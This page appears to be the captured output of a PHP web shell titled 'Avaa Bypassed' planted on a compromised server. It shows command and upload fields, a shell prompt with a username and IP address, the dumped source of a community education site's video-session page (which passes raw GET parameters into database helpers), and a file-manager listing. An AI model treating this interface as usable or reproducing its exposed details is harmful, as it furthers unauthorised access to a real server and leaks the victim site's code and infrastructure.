[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.145.91.108: ~ $
<?php
  //2015-06-26 - nwmosses - added includes to display proper menu for logged in users
  
  include_once($_SERVER['DOCUMENT_ROOT'] . "/ces/course_registration/common_functions.php"); //common functions in the course registartion system
  include_once($_SERVER['DOCUMENT_ROOT'] . "/ces/course_registration/config.php"); //holds global config variables
  
  $page_title = ""; //Leaving Blank will result in '<title>Community Education Service | The Family &amp; Community Resource Centre</title>'
  include($_SERVER['DOCUMENT_ROOT'] . "/ces/course_registration/public_top.php"); //the HTML that outlines the top of the page
  //include($_SERVER['DOCUMENT_ROOT'] . "/ces/ces_nav.php"); //get the HTML nav common to all CES public pages 
  $db = mysqli_connect($mysql_server, $user, $pass, $database);
?>
          
<article>
  <h2>Community Education Service</h2>
<?php
  if(!isset($_GET['id']) || !($_GET['id'] > '')){
    //no session_id given
    //display error
    echo "\n<p class='alert alert-error'>No session information was given.</p>\n";
  }
  elseif(!is_user_logged_in()){
    //user is not logged in
    //show login in link
    echo "\n<p class='alert alert-info'>This session is avalible only to registered users.<br>
              <a href='/ces/login/'>Please log in</a>.</p>\n";
  }
  elseif(has_session_ended($_GET['id'])){
    //session has ended
  echo "\n<p class='alert alert-info'>This session has ended.<br>
              Please view the <a href='/ces/sessions/online/'>current online sessions</a> being offered.</p>\n";
  }
  elseif(!is_user_registered($_SESSION['userid'], $_GET['id'])){
    //user is not registered
    //show link to course registration page (current and online) as well as 'your courses'
    echo "\n<p class='alert alert-info'>You are not registered for this session.<br>
              Please view <a href='/ces/login/'>Your Courses</a> for an updated list of your registered courses.</p>\n";

  }elseif(!is_session_online($_GET['id'])){
    //this is not an online session
    //show link for 'your courses'
    echo "\n<p class='alert alert-error'>This is not an online session.<br>
              Please view <a href='/ces/login/'>Your Courses</a> for an updated list of your registered courses.</p>\n";

  }else{
    //display video
  ?>

<h3><?php echo get_course_name($_GET['id'])?></h3>

<OBJECT ID="MediaPlayer" WIDTH="640" HEIGHT="500" CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95"
  STANDBY="Loading Windows Media Player components..." TYPE="application/x-oleobject">
  <PARAM NAME="FileName" VALUE="<?php echo get_session_link($_GET['id'])?>">
  <PARAM name="autostart" VALUE="false">
  <PARAM name="ShowControls" VALUE="true">
  <param name="ShowStatusBar" value="false">
  <PARAM name="ShowDisplay" VALUE="false">
</OBJECT>

<p class="alert alert-info"><strong>Download Video:</strong> <a href="<?php echo get_session_link($_GET['id'])?>"><?php echo get_course_name($_GET['id'])?></a></p> 

<?php }//end display video ?>

</article>
    
    <section id="right30">
            <?php include($_SERVER['DOCUMENT_ROOT'].'/ces/menu.php');?> 
            <?php include($_SERVER['DOCUMENT_ROOT'].'/require/sidebar.php');?> 
    </section><!-- #sideRight -->


  </section><!-- #middle-->



</div><!-- #wrapper --> 
 
<?php require_once $_SERVER['DOCUMENT_ROOT'].'/require/footer.php';?>

Filemanager

Name Type Size Permission Actions
error_log File 16.34 KB 0644
index.php File 3.06 KB 0755
video.php File 3.27 KB 0644